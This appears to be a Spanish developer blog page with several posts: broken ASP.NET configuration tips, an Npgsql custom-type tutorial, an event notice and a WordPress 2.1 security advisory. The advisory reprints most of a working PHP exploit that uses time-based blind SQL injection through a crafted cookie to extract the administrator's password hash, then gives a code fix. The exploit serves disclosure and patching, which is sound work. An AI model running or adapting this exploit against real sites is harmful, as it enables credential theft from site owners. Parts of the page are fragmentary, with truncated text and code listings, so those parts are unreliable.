Free software only dies when the last copy of the source code is erased.
Henrik Nordstrom, desarrollador de Squid
Visto en logadmin.net
Free software only dies when the last copy of the source code is erased.
Henrik Nordstrom, desarrollador de Squid
Visto en logadmin.net
Brian Sullivan, comenta los 10 errores más comunes que se cometen al configurar aplicaciones ASP.NET, estas configuraciones mal hechas podrían ayudar a los atacantes a vulnerar nuestras aplicaciones Web.
On
y RemoteOnly
, en el primero se puede especificar páginas personalizadas para mostrar mensajes de error más amigables.<forms slidingExpiration="true">
), permite que el tiempo de vida de la sesión vaya cambiando a medida que el usuario vaya interactuando con la aplicación. Sin embargo, con esta opción deshabilitada sólo se dispone de un tiempo fijo para la sesión, de esta manera si alguien suplanta a usuarios legítimos sólo tendrá un espacio de tiempo limitado.<forms name="otro_valor">
) en aplicaciones ASP.NET diferentes (para los casos en los que existen más de 2 aplicaciones en un mismo dominio)Para mayores detalles pueden visitar los artículos originales.
A raíz de una pregunta en la lista de discusión en español de PostgreSQL en el que hacían la siguiente pregunta:
Hola, tengo una función definida en mi BD postgresql que recive un array de un elementos de un tipo definido en la BD. (este tipo es un bigint y un character varying). Ahora mi duda es si el conector npgsql (Conector para .NET) soporta la posibilidad de llamar a una funcion con estas características.
Estos tipos compuestos en PostgreSQL se crean con la sentencia CREATE TYPE:
Npgsql trae soporte sólo para los tipos de datos nativos que ofrece PostgreSQL, y trata a estos tipos compuestos como una cadena de caracteres. Si bien es cierto que se podría trabajar solamente con cadenas tanto para insertar como para recuperar este tipo de datos, esto probablemente causaría algunos problemas en la etapa de desarrollo, porque estos valores no serían comprobados en tiempo de compilación (más detalles); puesto que disponemos del código de Npgsql, es posible extenderlo sin mayores problemas para que soporte los tipos de datos que usemos en una aplicación X.
Lo primero, es definir una clase que represente el tipo que hayamos definido en la base de datos:
public double I
{
get { return _i; }
set { _i = value; }
}
public double R
{
get { return _r; }
set { _r = value; }
}
public NpgsqlComplex(double r, double i)
{
_r = r;
_i = i;
}
}
Luego se tiene que registrar esta clase en el método VerifyDefaultTypesMap
de la clase NpgsqlTypesHelper
:
y agregar un nuevo elemento a la variable TypeInfoList
ubicado en el método CreateAndLoadInitialTypesMapping
de la misma clase:
Los métodos ExtendedNativeToBackendTypeConverter.ToComplex
y ExtendedBackendToNativeTypeConverter.ToComplex
se usan para convertir estos tipos compuestos desde .NET a PostgreSQL y desde PostgreSQL a .NET respectivamente
return new NpgsqlComplex(
Double.Parse(m.Groups[1].ToString(), NumberStyles.Any,
CultureInfo.InvariantCulture.NumberFormat),
Double.Parse(m.Groups[2].ToString(), NumberStyles.Any,
CultureInfo.InvariantCulture.NumberFormat));
}
// clase ExtendedBackendToNativeTypeConverter
internal static String ToComplex(NpgsqlNativeTypeInfo TypeInfo, Object NativeData)
{
if (NativeData is NpgsqlComplex)
{
NpgsqlComplex complex = (NpgsqlComplex)NativeData;
return String.Format(CultureInfo.InvariantCulture, "({0},{1})", complex.R, complex.I);
}
else
{
throw new InvalidCastException("Unable to cast data to NpgsqlComplex type");
}
}
Finalmente, la clase de prueba para ver si todo funciona como debería:
namespace Demo
{
class Program
{
static void Main(string[] args)
{
using (NpgsqlCommand command = new NpgsqlCommand("SELECT item FROM foo LIMIT 1", new NpgsqlConnection("server=192.168.1.20;uid=alex;database=test")))
{
command.Connection.Open();
NpgsqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
NpgsqlComplex num = (NpgsqlComplex)reader["item"];
Console.WriteLine("{0} + {1}i", num.R, num.I);
}
reader.Close();
command.CommandText = "INSERT INTO foo VALUES (@item)";
command.Parameters.Add("@item", NpgsqlDbType.Complex);
command.Parameters["@item"].Value = new NpgsqlComplex(15.5, -5);
command.ExecuteNonQuery();
}
}
}
}
Aunque el ejemplo es bastante trivial y tiene poco o nulo valor en aplicaciones reales, este ejemplo intenta mostrar uno de los beneficios del uso de Software Libre: el hecho de poder acomodar a nuestras necesidades las cosas que usemos.
Nota: Si alguien le interesa el ejemplo mostrado, puede descargar una versión modificada de Npgsql (para Visual Studio 2005) más el proyecto de prueba.
Cristalab realizará un evento los días 6, 7 y 8 en la Universidad San Ignacio de Loyola de Lima - Perú, evento en el cual se realizarán talleres y conferencias sobre diseño y desarrollo de sitios web.
Para mayor información pueden visitar la página de Cristalab Perú 2007.
Actualización: Al parecer las versiones menores iguales a 2.0.10 también son vulnerables, por lo que es recomendable que actualicen por lo menos a 2.0.11-RC1 o hagan las correcciones del caso.
A los que todavía sigan usando la rama 2.1 de WordPress, ayer liberaron un exploit que aprovecha de manera remota una vulnerabilidad de tipo SQL Injection en wp-admin/admin-ajax.php
El exploit que muestran es el siguiente:
echo "Target: $url\n";
echo "sql table prefix: $prefix\n";
if(empty($suffix))
{
$suffix = md5(substr($url, 0, strlen($url) - 24));
}
echo "cookie suffix: $suffix\n";
echo "testing probe delays \n";
$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";
$hash = get_hash();
add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! 🙂 \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$field = 'user_pass';
$out = '';
echo "finding hash now ...\n";
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($field,$i);
echo "got $field pos $i --> $ch\n";
$out .= "$ch";
echo "current value for $field: $out \n";
}
echo "\nFinal result: $field=$out\n\n";
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
global $prefix, $suffix, $id, $testcnt;
$char = '';
$cnt = $testcnt * 4;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
// First let's determine, if it's number or letter
$inj = sprintf($ipattern, $prefix, $id, ">57");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
echo "char to find is [a-f]\n";
}
else
{
$min = 48;
$max = 57;
echo "char to find is [0-9]\n";
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$inj = sprintf($ipattern, $prefix, $id, "=$max");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$inj = sprintf($ipattern, $prefix, $id, ">$curr");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
echo "curr: $curr--$max--$min\n";
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url, $norm_delay;
$bret = false;
$maxtry = 10;
$try = 1;
while(1)
{
$start = getmicrotime();
$buff = make_post($url, $p);
$end = getmicrotime();
if($buff === '-1')
{
break;
}
else
{
echo "test_condition() - try $try - invalid return value ...\n";
$try ++;
if($try > $maxtry)
{
die("too many tries - exiting ...\n");
}
else
{
echo "trying again - try $try ...\n";
}
}
}
$diff = $end - $start;
$delay = intval($diff * 10);
if($delay > ($norm_delay * 2))
{
$bret = true;
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
$fa = test_md5delay(1);
echo "$fa\n";
$sa = test_md5delay($testcnt);
echo "$sa\n";
$fb = test_md5delay(1);
echo "$fb\n";
$sb = test_md5delay($testcnt);
echo "$sb\n";
$fc = test_md5delay(1);
echo "$fc\n";
$sc = test_md5delay($testcnt);
echo "$sc\n";
$mean_nondelayed = intval(($fa + $fb + $fc) / 3);
echo "mean nondelayed - $mean_nondelayed dsecs\n";
$mean_delayed = intval(($sa + $sb + $sc) / 3);
echo "mean delayed - $mean_delayed dsecs\n";
return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
global $url, $id, $prefix, $suffix;
// delay in deciseconds
$delay = -1;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
$inj = sprintf($ipattern, $prefix, $id, $cnt);
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$start = getmicrotime();
$buff = make_post($url, $post);
$end = getmicrotime();
if(intval($buff) !== -1)
{
die("test_md5delay($cnt) - invalid return value, exiting ...");
}
$diff = $end - $start;
$delay = intval($diff * 10);
return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
global $outfile;
$buf .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $buf);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
?>
Los autores de este exploit recomiendan actualizar a la versión 2.2 de WordPress, sin embargo, esta nueva versión también tiene un problema similar que detallaré en su debido momento*. Si no quieren migrar todavía a la versión 2.2, la siguiente línea resaltada parece corregir este fallo (archivo wp-includes/pluggable.php
):
if ( empty( $user_login ) )
return false;
$userdata = wp_cache_get($user_login, 'userlogins');
if ( $userdata )
return $userdata;
if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
return false;
$wpdb->hide_errors();
$metavalues = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = '$user->ID'");
$wpdb->show_errors();
if ($metavalues) {
foreach ( $metavalues as $meta ) {
$value = maybe_unserialize($meta->meta_value);
$user->{$meta->meta_key} = $value;
// We need to set user_level from meta, not row
if ( $wpdb->prefix . 'user_level' == $meta->meta_key )
$user->user_level = $meta->meta_value;
}
}
// For backwards compat.
if ( isset($user->first_name) )
$user->user_firstname = $user->first_name;
if ( isset($user->last_name) )
$user->user_lastname = $user->last_name;
if ( isset($user->description) )
$user->user_description = $user->description;
wp_cache_add($user->ID, $user, 'users');
wp_cache_add($user->user_login, $user, 'userlogins');
return $user;
}
endif;
*: Tengo que decidir que hacer con mi vida 🙂 y ponerme al tanto de las cosas que estaba haciendo luego de estas dos semanas de ausencia.